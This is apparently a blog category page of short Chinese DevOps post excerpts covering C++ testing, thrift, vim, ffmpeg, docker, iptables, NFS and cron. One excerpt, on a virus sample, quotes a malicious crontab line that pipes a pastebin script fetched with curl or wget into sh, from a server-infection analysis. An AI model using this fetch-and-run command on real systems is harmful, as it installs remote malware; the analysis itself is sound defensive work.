DevOps
文章平均质量分 70
GodsLeft
这个作者很懒,什么都没留下…
展开
-
【C++】GTEST && google/benchmark工具安装
最近在做一些C++相关事情,用的是C++编译成so库,最后引入到android播放器当中的,为了对C++代码进行快速迭代以及做性能测试,准备引入GTEST一个google出品的C++测试库,以及google/benchmark库用来做性能测试安装找到一种方便的安装方式,不会引入额外的文件总共需要3个cmakelist文件CMakeLists.gtestCMakeLists.benchmarkCMakeLists.txt: 主项目的CMakeLists.txt文件# CMakeLists.g原创 2021-02-27 17:17:28 · 1839 阅读 · 0 评论 -
【安装教程】mac安装thrift0.9.2
安装thrift0.9.2尝试了几种方法,都有各种各样的问题,最终以下面的方法实现了,我觉得算是一种比较好的方式安装过程# 下载brew的安装包包,这个里面包含了大量的安装库git clone https://github.com/Homebrew/homebrew-core.git # 从这个里面找到thrift0.9.2版本git log Formula/thrift.r...原创 2020-01-23 20:23:55 · 2593 阅读 · 1 评论 -
python相关的琐碎知识
Python多版本共存之pyenv http://seisman.info/python-pyenv.htmlPython多版本切换工具-Pyenv\virtualenv及Anaconda科学计算环境的配置 https://segmentfault.com/a/1190000004020387?utm_source=tuicool&utm_medium=referral原创 2019-05-26 17:15:50 · 333 阅读 · 0 评论 -
VIM技巧升级
移动% //匹配括号移动* //移动到光标所在单词下一个# //上一个nG //移动到第n行0^$g_ //移动至行的最后一个字符fa //到下一个为a的字符处t, //到,号前的第一个字符3fa //在当前行查找第三个出现的aF T //和上面的方向相反dt" //删除到"为止# http://coolshell.cn/art原创 2019-05-26 16:58:05 · 200 阅读 · 0 评论 -
病毒样本
crontab可疑行# crontab脚本,删掉后会自动重写*/23 * * * * (curl -fsSL https://pastebin.com/raw/qbbSdzZd||wget -q -O- https://pastebin.com/raw/qbbSdzZd)|sh查看其中的qbbSdzZd文件> wget https://pastebin.com/raw/qbbS...原创 2019-05-26 16:44:28 · 4656 阅读 · 0 评论 -
m3u8视频处理Android vs IOS
MP4转换m3u8格式mp4="KIDS REACT TO ROTARY PHONES-XkuirEweZvM.mp4"m3u8=$(echo ${mp4} | sed "s|mp4|m3u8|g")# 切分视频代码里面用的ffmpeg -i "${mp4}" -codec: copy -start_number 0 -hls_time 10 -hls_list_size 0 -f hl...原创 2019-04-08 23:57:37 · 4580 阅读 · 0 评论 -
k8s近期使用感想(未完,待补充)
以前nginx + docker(grpc_svc) + 重启脚本之前使用写了一些服务,通过nginx转发grpc请求转到这些服务上面。但是服务总会存在这样或者那样的问题,会崩掉。虽然是可以使用监控脚本监控服务,挂掉了自动拉起,但是总归会有一段时间服务不可用,因为nginx转发到了坏的服务上面。要在每一台机器上面安装docker,安装重启脚本nginx + docker(grpc_sv...原创 2019-03-10 00:10:24 · 530 阅读 · 0 评论 -
mosesdecoder安装教程
一、mosesdecoder安装过程1. 安装系统依赖的库# centOS操作系统yum install -y tmux gcc gcc-c++ hunspell hunspell-devel git subversion make cmake zlib-devel boost-devel ImageMagick cpan expat-devel automake python-devel...原创 2019-03-09 23:33:22 · 1683 阅读 · 1 评论 -
centOS清理内存
drop_caches在Documentation/sysctl/vm.txt中有如下描述:drop_caches:Writing to this will cause the kernel to drop clean caches, dentries and inodes from memory, causing that memory to become free.# To f原创 2019-05-26 17:44:42 · 4690 阅读 · 0 评论 -
centOS运行级别
Linux系统7个运行级别运行级别0:系统停机状态,系统默认运行级别不能设为0,否则不能正常启动 运行级别1:单用户工作状态,root权限,用于系统维护,禁止远程登录 运行级别2:多用户状态(没有NFS) 运行级别3:完全的多用户状态(有NFS),登陆后进入控制台命令行模式 运行级别4:系统未使用,保留 运行级别5:X11控制台,登录后进入图形GUI模式 运行级别6:系统正常关闭并原创 2019-05-26 17:47:10 · 525 阅读 · 0 评论 -
Linux启动流程
加载BIOS的硬件信息与进行自我测试,并依据设置取得第一个可启动的设备 读取并执行第一个启动设备内MBR的boot Loader(即是grub,spfdisk等程序) 依据boot loader的设置加载Kernel,Kernel会开始检测硬件与加载驱动程序 在硬件驱动成功后,Kernel会主动调用init进程,而init会取得run-level信息 init执行/etc/rc.d/rc/原创 2019-05-26 17:49:59 · 179 阅读 · 0 评论 -
openssl方法以及原理
基础概念对称加密: 一个密码加密,同样的密码解密非对称加密:一个密码加密,另一个密码解密(公钥,私钥)素数积求因子公钥加密,私钥解密的情况通常被称为加密解密私钥加密,公钥解密的情况被称为签名和验证签名注:公钥是给别人用的,别人用来加密。私钥是给自己用的,用来给自己的文件写上签名。RSA/DSA/SHA/MD5非对称加密算法RSA: RSA可以用与加密解密,也可...原创 2019-05-26 17:56:17 · 649 阅读 · 0 评论 -
iptables
iptables简介netfilter/iptables(简称为iptables)组成Linux平台下的包过滤防火墙,与大多数的Linux软件一样,这个包过滤防火墙是免费的,它可以代替昂贵的商业防火墙解决方案,完成封包过滤、封包重定向和网络地址转换(NAT)等功能。iptables基础规则(rules)其实就是网络管理员预定义的条件,规则一般的定义为“如果数据包头符合这样的条件,就原创 2019-05-26 17:58:59 · 211 阅读 · 0 评论 -
Hadoop小问题
hadoop集群无法关闭HADOOP_PID_DIR 没有设置默认/tmp ,导致进程id被删除,hadoop-env.sh 设置,另外最好也配置一下YARN_PID_DIR 在yarn-env.shURI has an authority componenthadoop java.lang.IllegalArgumentException: URI has an authorit原创 2019-05-26 18:11:40 · 364 阅读 · 0 评论 -
默认网关与默认路由
顾名思义,网关(Gateway)就是一个网络连接到另一个网络的“关口”。 按照不同的分类标准,网关也有很多种。TCP/IP协议里的网关是最常用的,在这里我们 所讲的“网关”均指TCP/IP协议下的网关。那么网关到底是什么呢?网关实质上是一个网络通向其他网络的IP地址。比如有网络A和网络B,网络A的IP地址范围为“192.168.1.1~192. 168.1.254”,子网掩码为255.原创 2019-05-26 18:22:50 · 14348 阅读 · 2 评论 -
【ffmpeg】音频+图片合成视频
ffmpeg音频转码为视频需求:将一段音频和一张图片合成一个视频难点:可能在IOS的小程序里面无法播放盲点:如果一直测试一个视频,一定要清除微信的缓存,记住是微信的缓存!!!其他:如果图片的长宽有奇数,一定要先转成都是偶数!!# https://blog.csdn.net/wangshuainan/article/details/77914508function mp3tomp4(...原创 2019-07-19 21:45:08 · 5009 阅读 · 0 评论 -
视频格式 & ffmpeg简单用法
最新版的91Flv云视频系统采用了最先进的m3u8列表播放方式,我们的软件从最开始输出flv到mp4再到xml列表到现在的m3u8列表,到底经历了怎样的曲折历程让我们选择了这种播放格式?首先我们来分析一下几种常用播放格式的优劣对比:FLV 是FLASH VIDEO的简称,FLV流媒体格式是一种新的视频格式,全称为Flash Video。flv的优势就是压缩率高,支持网页flash播放器...转载 2018-09-13 11:54:54 · 1475 阅读 · 0 评论 -
ubuntu更换阿里软件源
更换阿里源# 备份原始的源mv /etc/apt/sources.list /etc/apt/source.list.bak# 写入新的阿里源cat >/etc/apt/sources.list<<EOF# deb cdrom:[Ubuntu 16.04 LTS _Xenial Xerus_ - Release amd64 (20160420.1)]/ xenial m...原创 2018-09-29 22:30:05 · 615 阅读 · 0 评论 -
Linux 网卡配置
安装好操作系统之后,网卡的配置文件/etc/sysconfig/network-scripts/ifcfg-em1(如果多个网卡就有多个类似的配置文件)已经有了内容TYPE=Ethernet #网络类型BOOTPROTO=dhcp #ip配置方法[none|static|bootp|dhcp]DEFROUTE=yes原创 2016-04-20 10:57:47 · 450 阅读 · 0 评论 -
Linux删除用户+pdsh简单用法
删除用户userdel -rf username #会自动删除/etc/shadow /etc/gshadow相关项注意如果删除用户的时候使用了userdel username,但是想删除用户的所有信息,那么要修改的文件有/etc/passwd/etc/shadow/etc/group/etc/gshadow可以直接操作的文件是:/etc/passwd 和 /etc/group#相关原创 2017-02-26 20:46:27 · 909 阅读 · 0 评论 -
docker简单教程
docker命令总结docker 守护进程systemctl status dockersystemctl start dockersystemctl stop dockerdocker 入门# 显示所有容器和镜像的数量,及基本配置docker info# -i 保证stdin是开启的# -t 为创建的容器分配一个伪tty终端docker run -i -t ubuntu /bin/bas原创 2016-10-02 16:26:38 · 1092 阅读 · 0 评论 -
gitlab runner理解(未完)
gitlab runnerrunner: 本身可以使用多种方式安装,比如使用Docker镜像启动。 具体指的是runner运行在哪里shell runner:docker runnerk8s runnerrunner: 进行build操作的时候,也可以选择多种build环境安装运行在docker当中的runner无论runner在哪里运行都需要注册,如下是在docker当...原创 2019-02-17 23:06:44 · 1177 阅读 · 0 评论 -
交换机相关
交换机指令show 命令show version: //显示交换机版本信息show flash: //显示保存在flash中的文件及大小show history: //显示用户最近的命令历史show arp: //显示arp映射表show running-config: //显示当前运行状态下生原创 2017-02-26 20:51:53 · 1059 阅读 · 0 评论 -
服务器病毒之后
又是一个病毒?某一天,我ssh到服务器上,下意识的输入了htop 命令,我的天哪!CPU要爆了 这个 htral -t 12 居然几乎用掉了所有的CPU,这是hadoop用户的进程,这个用户是禁止外网访问的,而且平常也没有出现过这个进程。很奇怪。咦,等等。。。这是怎么回事,CPU占用正在下降,这个进程在逐渐消失,为什么!在我还没有反应过来的时候这个进程已经彻底消失了!不过几分钟而已,一切原创 2016-10-02 15:23:40 · 1696 阅读 · 0 评论 -
服务器遭受的一次攻击
服务器宕机了,平常都是在服务器上工作,但是我并非服务器的管理员,服务器的管理也比较乱,很多人都有root权限 过了几天没有人管,没办法我只好去机房,其实只要简单的重启一下就好了,但是我很气愤,是谁!究竟是谁!把服务器搞崩了。 到了机房之后,发现服务器并不是关机了,使用root用户登录之后,我先ping了外网,ping不通,很奇怪,然后我使用了history命令,查看了root用户最后执行的几条原创 2016-10-02 15:21:28 · 807 阅读 · 0 评论 -
nfs
NFS简要安装流程安装软件yum install -y nfs-utilsNFS主机配置文件#创建共享文件夹mkdir /home/data#这一步不是必做的,但是要保证用户对于该目录拥有读写权限chmod 777 /home/data#修改配置文件vim /etc/exports/home/data 192.168.1.0/24 (rw,sync)#重要参数讲解rw #原创 2016-07-17 22:21:05 · 467 阅读 · 0 评论 -
mysql权限管理
用户管理修改root用户密码mysqladmin -u root -p password leftpassword;//无密码的话直接回车添加用户//任意主机登录host换成 %create user 'username'@'host' identified by 'password';授权//privileges:all 代表所有权限//databasename.tablename:*.*原创 2016-07-17 21:47:56 · 326 阅读 · 0 评论 -
VNC配置
vnc服务器端简介centOS安装rpm -ivh vnc-server-***-.rpmrpm -ivh vnc-***-rpm简介Linux下的VNC可以溶蚀启动多个vncserver,各个vncserver之间用显示编号来区分,每个vncserver服务监听3个端口 5800+显示编号:VNC的httpd监听端口,可以使用浏览器 5900+显示编号:VNC服务器端与客户端通信的真正端口,原创 2016-01-22 19:53:57 · 601 阅读 · 0 评论 -
vim环境配置spf13
1、ncurses安装wget http://ftp.gnu.org/pub/gnu/ncurses/ncurses-5.9.tar.gztar -xf ncurses-5.9.tar.gzcd ncurses-5.9./configuremakesudo make install2、lua安装centOS虽然自带了lua,但是安装的时候有几个文件找不到http://www.lua.o原创 2015-12-17 14:08:51 · 1473 阅读 · 0 评论 -
mvn 报错:不支持 diamond运算符
不支持 diamond运算符<project xmlns="..."> ... <build> <plugins> <plugin> <groupId>org.apache.maven.plugins</groupId> <artifactId>maven-compiler-plu原创 2016-03-09 23:32:08 · 603 阅读 · 0 评论 -
Linux crond
crond是Linux用来定期执行程序的命令。当安装完成操作系统之后,默认便会启动此任务调度命令。crond命令每分锺会定期检查是否有要执行的工作,如果有 要执行的工作便会自动执行该工作。而Linux任务调度的工作主要分为以下两类:1、系统执行的工作:系统周期性所要执行的工作,如备份系统数据、清理缓存2、个人执行的工作:某个用户定期要做的工作,例如每隔10分钟检查邮件服务器是 否有新信,这原创 2019-03-02 10:15:17 · 428 阅读 · 0 评论 -
docker拉取google镜像 && 修改镜像的存储目录
修改docker镜像存储目录默认情况下docker镜像存储在/var/lib/docker。这样会占用大量的根目录下面的空间。通常不会有什么问题,如果你的根目录的分区比较小,而且经常使用docker,建议更换其他的目录存放方法有很多,这里讲述我使用的办法在这个文件/etc/sysconfig/docker添加# 创建docker镜像存储目录mkdir /data/docker &amp;amp...原创 2019-05-26 18:26:35 · 831 阅读 · 0 评论 -
shell笔记
shell时间循环#!/bin/shif [ $# == 2 ]; then datebeg=$1 dateend=$2else echo &amp;quot;请输入开始时间和结束日期,格式为2017-04-04&amp;quot; exit 1fibeg_s=`date -d &amp;quot;$datebeg&amp;quot; +%s`end_s=`date -d &a原创 2018-08-03 21:54:02 · 218 阅读 · 0 评论 -
Linux计划任务(at batch crontab anacron)
未来只做一次 at (依赖于atd服务)未来周期性做 cron (依赖于crond服务)cron补充(开机后执行) anacron (依赖于anacron服务)atat 命令被用来在指定时间内调度一次性的任务。at [-mldv] TIME 选项与参数:-m :当at的任务完成后,即使没有输出信息,也以 email 通知给使用者-l :列出目前系统上面的所有该使用者的at任务(同atq)-d转载 2016-04-17 09:44:16 · 670 阅读 · 0 评论